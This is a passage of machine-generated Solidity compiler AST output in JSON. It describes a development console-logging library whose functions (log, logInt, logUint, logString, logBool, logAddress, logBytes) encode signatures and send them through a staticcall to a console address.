pure"},"typeName":{"id":23758,"nodeType":"FunctionTypeName","parameterTypes":{"id":23756,"nodeType":"ParameterList","parameters":[{"constant":false,"id":23755,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":23758,"src":"765:12:15","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes"},"typeName":{"id":23754,"name":"bytes","nodeType":"ElementaryTypeName","src":"765:5:15","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"visibility":"internal"}],"src":"764:14:15"},"returnParameterTypes":{"id":23757,"nodeType":"ParameterList","parameters":[],"src":"793:0:15"},"src":"756:42:15","stateMutability":"pure","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes) pure"},"visibility":"internal"},"visibility":"internal"}],"src":"755:44:15"},"scope":31862,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":23775,"nodeType":"FunctionDefinition","src":"868:133:15","nodes":[],"body":{"id":23774,"nodeType":"Block","src":"929:72:15","nodes":[],"statements":[{"expression":{"arguments":[{"id":23771,"name":"payload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23765,"src":"986:7:15","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"arguments":[{"id":23769,"name":"_sendLogPayloadView","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23791,"src":"965:19:15","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) view"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_function_internal_view$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) view"}],"id":23768,"name":"_castLogPayloadViewToPure","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23763,"src":"939:25:15","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_function_internal_view$_t_bytes_memory_ptr_$returns$__$_$returns$_t_function_internal_pure$_t_bytes_memory_ptr_$returns$__$_$","typeString":"function (function (bytes memory) view) pure returns (function (bytes memory) pure)"}},"id":23770,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"939:46:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) pure"}},"id":23772,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"939:55:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":23773,"nodeType":"ExpressionStatement","src":"939:55:15"}]},"implemented":true,"kind":"function","modifiers":[],"name":"_sendLogPayload","nameLocation":"877:15:15","parameters":{"id":23766,"nodeType":"ParameterList","parameters":[{"constant":false,"id":23765,"mutability":"mutable","name":"payload","nameLocation":"906:7:15","nodeType":"VariableDeclaration","scope":23775,"src":"893:20:15","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes"},"typeName":{"id":23764,"name":"bytes","nodeType":"ElementaryTypeName","src":"893:5:15","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"visibility":"internal"}],"src":"892:22:15"},"returnParameters":{"id":23767,"nodeType":"ParameterList","parameters":[],"src":"929:0:15"},"scope":31862,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":23791,"nodeType":"FunctionDefinition","src":"1007:380:15","nodes":[],"body":{"id":23790,"nodeType":"Block","src":"1071:316:15","nodes":[],"statements":[{"assignments":[23781],"declarations":[{"constant":false,"id":23781,"mutability":"mutable","name":"payloadLength","nameLocation":"1089:13:15","nodeType":"VariableDeclaration","scope":23790,"src":"1081:21:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":23780,"name":"uint256","nodeType":"ElementaryTypeName","src":"1081:7:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"id":23784,"initialValue":{"expression":{"id":23782,"name":"payload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23777,"src":"1105:7:15","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}},"id":23783,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1113:6:15","memberName":"length","nodeType":"MemberAccess","src":"1105:14:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"VariableDeclarationStatement","src":"1081:38:15"},{"assignments":[23786],"declarations":[{"constant":false,"id":23786,"mutability":"mutable","name":"consoleAddress","nameLocation":"1137:14:15","nodeType":"VariableDeclaration","scope":23790,"src":"1129:22:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":23785,"name":"address","nodeType":"ElementaryTypeName","src":"1129:7:15","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"id":23788,"initialValue":{"id":23787,"name":"CONSOLE_ADDRESS","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23746,"src":"1154:15:15","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"nodeType":"VariableDeclarationStatement","src":"1129:40:15"},{"AST":{"nativeSrc":"1231:150:15","nodeType":"YulBlock","src":"1231:150:15","statements":[{"nativeSrc":"1245:36:15","nodeType":"YulVariableDeclaration","src":"1245:36:15","value":{"arguments":[{"name":"payload","nativeSrc":"1269:7:15","nodeType":"YulIdentifier","src":"1269:7:15"},{"kind":"number","nativeSrc":"1278:2:15","nodeType":"YulLiteral","src":"1278:2:15","type":"","value":"32"}],"functionName":{"name":"add","nativeSrc":"1265:3:15","nodeType":"YulIdentifier","src":"1265:3:15"},"nativeSrc":"1265:16:15","nodeType":"YulFunctionCall","src":"1265:16:15"},"variables":[{"name":"payloadStart","nativeSrc":"1249:12:15","nodeType":"YulTypedName","src":"1249:12:15","type":""}]},{"nativeSrc":"1294:77:15","nodeType":"YulVariableDeclaration","src":"1294:77:15","value":{"arguments":[{"arguments":[],"functionName":{"name":"gas","nativeSrc":"1314:3:15","nodeType":"YulIdentifier","src":"1314:3:15"},"nativeSrc":"1314:5:15","nodeType":"YulFunctionCall","src":"1314:5:15"},{"name":"consoleAddress","nativeSrc":"1321:14:15","nodeType":"YulIdentifier","src":"1321:14:15"},{"name":"payloadStart","nativeSrc":"1337:12:15","nodeType":"YulIdentifier","src":"1337:12:15"},{"name":"payloadLength","nativeSrc":"1351:13:15","nodeType":"YulIdentifier","src":"1351:13:15"},{"kind":"number","nativeSrc":"1366:1:15","nodeType":"YulLiteral","src":"1366:1:15","type":"","value":"0"},{"kind":"number","nativeSrc":"1369:1:15","nodeType":"YulLiteral","src":"1369:1:15","type":"","value":"0"}],"functionName":{"name":"staticcall","nativeSrc":"1303:10:15","nodeType":"YulIdentifier","src":"1303:10:15"},"nativeSrc":"1303:68:15","nodeType":"YulFunctionCall","src":"1303:68:15"},"variables":[{"name":"r","nativeSrc":"1298:1:15","nodeType":"YulTypedName","src":"1298:1:15","type":""}]}]},"documentation":"@solidity memory-safe-assembly","evmVersion":"shanghai","externalReferences":[{"declaration":23786,"isOffset":false,"isSlot":false,"src":"1321:14:15","valueSize":1},{"declaration":23777,"isOffset":false,"isSlot":false,"src":"1269:7:15","valueSize":1},{"declaration":23781,"isOffset":false,"isSlot":false,"src":"1351:13:15","valueSize":1}],"id":23789,"nodeType":"InlineAssembly","src":"1222:159:15"}]},"implemented":true,"kind":"function","modifiers":[],"name":"_sendLogPayloadView","nameLocation":"1016:19:15","parameters":{"id":23778,"nodeType":"ParameterList","parameters":[{"constant":false,"id":23777,"mutability":"mutable","name":"payload","nameLocation":"1049:7:15","nodeType":"VariableDeclaration","scope":23791,"src":"1036:20:15","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes"},"typeName":{"id":23776,"name":"bytes","nodeType":"ElementaryTypeName","src":"1036:5:15","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"visibility":"internal"}],"src":"1035:22:15"},"returnParameters":{"id":23779,"nodeType":"ParameterList","parameters":[],"src":"1071:0:15"},"scope":31862,"stateMutability":"view","virtual":false,"visibility":"private"},{"id":23802,"nodeType":"FunctionDefinition","src":"1393:95:15","nodes":[],"body":{"id":23801,"nodeType":"Block","src":"1422:66:15","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f672829","id":23797,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"1472:7:15","typeDescriptions":{"typeIdentifier":"t_stringliteral_51973ec9d4c1929bdd5b149c064d46aee47e92a7e2bb5f7a20c7b9cfb0d13b39","typeString":"literal_string \"log()\""},"value":"log()"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_51973ec9d4c1929bdd5b149c064d46aee47e92a7e2bb5f7a20c7b9cfb0d13b39","typeString":"literal_string \"log()\""}],"expression":{"id":23795,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"1448:3:15","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":23796,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"1452:19:15","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"1448:23:15","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":23798,"isConstant":false,"isLValue":false,"isPure":true,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1448:32:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":23794,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23775,"src":"1432:15:15","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) pure"}},"id":23799,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1432:49:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":23800,"nodeType":"ExpressionStatement","src":"1432:49:15"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"1402:3:15","parameters":{"id":23792,"nodeType":"ParameterList","parameters":[],"src":"1405:2:15"},"returnParameters":{"id":23793,"nodeType":"ParameterList","parameters":[],"src":"1422:0:15"},"scope":31862,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":23816,"nodeType":"FunctionDefinition","src":"1494:117:15","nodes":[],"body":{"id":23815,"nodeType":"Block","src":"1535:76:15","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728696e7432353629","id":23810,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"1585:13:15","typeDescriptions":{"typeIdentifier":"t_stringliteral_2d5b6cb95ba2d00a93cd4ffa61ec07ef4bb1694f20c02a3cccb170a38df81ef8","typeString":"literal_string \"log(int256)\""},"value":"log(int256)"},{"id":23811,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23804,"src":"1600:2:15","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_2d5b6cb95ba2d00a93cd4ffa61ec07ef4bb1694f20c02a3cccb170a38df81ef8","typeString":"literal_string \"log(int256)\""},{"typeIdentifier":"t_int256","typeString":"int256"}],"expression":{"id":23808,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"1561:3:15","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":23809,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"1565:19:15","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"1561:23:15","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":23812,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1561:42:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":23807,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23775,"src":"1545:15:15","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) pure"}},"id":23813,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1545:59:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":23814,"nodeType":"ExpressionStatement","src":"1545:59:15"}]},"implemented":true,"kind":"function","modifiers":[],"name":"logInt","nameLocation":"1503:6:15","parameters":{"id":23805,"nodeType":"ParameterList","parameters":[{"constant":false,"id":23804,"mutability":"mutable","name":"p0","nameLocation":"1517:2:15","nodeType":"VariableDeclaration","scope":23816,"src":"1510:9:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"},"typeName":{"id":23803,"name":"int256","nodeType":"ElementaryTypeName","src":"1510:6:15","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"}},"visibility":"internal"}],"src":"1509:11:15"},"returnParameters":{"id":23806,"nodeType":"ParameterList","parameters":[],"src":"1535:0:15"},"scope":31862,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":23830,"nodeType":"FunctionDefinition","src":"1617:120:15","nodes":[],"body":{"id":23829,"nodeType":"Block","src":"1660:77:15","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f672875696e7432353629","id":23824,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"1710:14:15","typeDescriptions":{"typeIdentifier":"t_stringliteral_f82c50f1848136e6c140b186ea0c768b7deda5efffe42c25e96336a90b26c744","typeString":"literal_string \"log(uint256)\""},"value":"log(uint256)"},{"id":23825,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23818,"src":"1726:2:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_f82c50f1848136e6c140b186ea0c768b7deda5efffe42c25e96336a90b26c744","typeString":"literal_string \"log(uint256)\""},{"typeIdentifier":"t_uint256","typeString":"uint256"}],"expression":{"id":23822,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"1686:3:15","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":23823,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"1690:19:15","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"1686:23:15","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":23826,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1686:43:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":23821,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23775,"src":"1670:15:15","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) pure"}},"id":23827,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1670:60:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":23828,"nodeType":"ExpressionStatement","src":"1670:60:15"}]},"implemented":true,"kind":"function","modifiers":[],"name":"logUint","nameLocation":"1626:7:15","parameters":{"id":23819,"nodeType":"ParameterList","parameters":[{"constant":false,"id":23818,"mutability":"mutable","name":"p0","nameLocation":"1642:2:15","nodeType":"VariableDeclaration","scope":23830,"src":"1634:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":23817,"name":"uint256","nodeType":"ElementaryTypeName","src":"1634:7:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"1633:12:15"},"returnParameters":{"id":23820,"nodeType":"ParameterList","parameters":[],"src":"1660:0:15"},"scope":31862,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":23844,"nodeType":"FunctionDefinition","src":"1743:127:15","nodes":[],"body":{"id":23843,"nodeType":"Block","src":"1794:76:15","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728737472696e6729","id":23838,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"1844:13:15","typeDescriptions":{"typeIdentifier":"t_stringliteral_41304facd9323d75b11bcdd609cb38effffdb05710f7caf0e9b16c6d9d709f50","typeString":"literal_string \"log(string)\""},"value":"log(string)"},{"id":23839,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23832,"src":"1859:2:15","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_41304facd9323d75b11bcdd609cb38effffdb05710f7caf0e9b16c6d9d709f50","typeString":"literal_string \"log(string)\""},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}],"expression":{"id":23836,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"1820:3:15","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":23837,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"1824:19:15","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"1820:23:15","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":23840,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1820:42:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":23835,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23775,"src":"1804:15:15","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) pure"}},"id":23841,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1804:59:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":23842,"nodeType":"ExpressionStatement","src":"1804:59:15"}]},"implemented":true,"kind":"function","modifiers":[],"name":"logString","nameLocation":"1752:9:15","parameters":{"id":23833,"nodeType":"ParameterList","parameters":[{"constant":false,"id":23832,"mutability":"mutable","name":"p0","nameLocation":"1776:2:15","nodeType":"VariableDeclaration","scope":23844,"src":"1762:16:15","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":23831,"name":"string","nodeType":"ElementaryTypeName","src":"1762:6:15","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"1761:18:15"},"returnParameters":{"id":23834,"nodeType":"ParameterList","parameters":[],"src":"1794:0:15"},"scope":31862,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":23858,"nodeType":"FunctionDefinition","src":"1876:114:15","nodes":[],"body":{"id":23857,"nodeType":"Block","src":"1916:74:15","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728626f6f6c29","id":23852,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"1966:11:15","typeDescriptions":{"typeIdentifier":"t_stringliteral_32458eed3feca62a69292a55ca8a755ae4e6cdc57a38d15c298330064467fdd7","typeString":"literal_string \"log(bool)\""},"value":"log(bool)"},{"id":23853,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23846,"src":"1979:2:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_32458eed3feca62a69292a55ca8a755ae4e6cdc57a38d15c298330064467fdd7","typeString":"literal_string \"log(bool)\""},{"typeIdentifier":"t_bool","typeString":"bool"}],"expression":{"id":23850,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"1942:3:15","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":23851,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"1946:19:15","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"1942:23:15","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":23854,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1942:40:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":23849,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23775,"src":"1926:15:15","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) pure"}},"id":23855,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1926:57:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":23856,"nodeType":"ExpressionStatement","src":"1926:57:15"}]},"implemented":true,"kind":"function","modifiers":[],"name":"logBool","nameLocation":"1885:7:15","parameters":{"id":23847,"nodeType":"ParameterList","parameters":[{"constant":false,"id":23846,"mutability":"mutable","name":"p0","nameLocation":"1898:2:15","nodeType":"VariableDeclaration","scope":23858,"src":"1893:7:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":23845,"name":"bool","nodeType":"ElementaryTypeName","src":"1893:4:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"1892:9:15"},"returnParameters":{"id":23848,"nodeType":"ParameterList","parameters":[],"src":"1916:0:15"},"scope":31862,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":23872,"nodeType":"FunctionDefinition","src":"1996:123:15","nodes":[],"body":{"id":23871,"nodeType":"Block","src":"2042:77:15","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f67286164647265737329","id":23866,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"2092:14:15","typeDescriptions":{"typeIdentifier":"t_stringliteral_2c2ecbc2212ac38c2f9ec89aa5fcef7f532a5db24dbf7cad1f48bc82843b7428","typeString":"literal_string \"log(address)\""},"value":"log(address)"},{"id":23867,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23860,"src":"2108:2:15","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_2c2ecbc2212ac38c2f9ec89aa5fcef7f532a5db24dbf7cad1f48bc82843b7428","typeString":"literal_string \"log(address)\""},{"typeIdentifier":"t_address","typeString":"address"}],"expression":{"id":23864,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"2068:3:15","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":23865,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"2072:19:15","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"2068:23:15","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":23868,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2068:43:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":23863,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23775,"src":"2052:15:15","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) pure"}},"id":23869,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2052:60:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":23870,"nodeType":"ExpressionStatement","src":"2052:60:15"}]},"implemented":true,"kind":"function","modifiers":[],"name":"logAddress","nameLocation":"2005:10:15","parameters":{"id":23861,"nodeType":"ParameterList","parameters":[{"constant":false,"id":23860,"mutability":"mutable","name":"p0","nameLocation":"2024:2:15","nodeType":"VariableDeclaration","scope":23872,"src":"2016:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":23859,"name":"address","nodeType":"ElementaryTypeName","src":"2016:7:15","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"2015:12:15"},"returnParameters":{"id":23862,"nodeType":"ParameterList","parameters":[],"src":"2042:0:15"},"scope":31862,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":23886,"nodeType":"FunctionDefinition","src":"2125:124:15","nodes":[],"body":{"id":23885,"nodeType":"Block","src":"2174:75:15","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728627974657329","id":23880,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"2224:12:15","typeDescriptions":{"typeIdentifier":"t_stringliteral_0be77f5642494da7d212b92a3472c4f471abb24e17467f41788e7de7915d6238","typeString":"literal_string \"log(bytes)\""},"value":"log(bytes)"},{"id":23881,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23874,"src":"2238:2:15","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_0be77f5642494da7d212b92a3472c4f471abb24e17467f41788e7de7915d6238","typeString":"literal_string \"log(bytes)\""},{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"expression":{"id":23878,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"2200:3:15","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":23879,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"2204:19:15","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"2200:23:15","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes 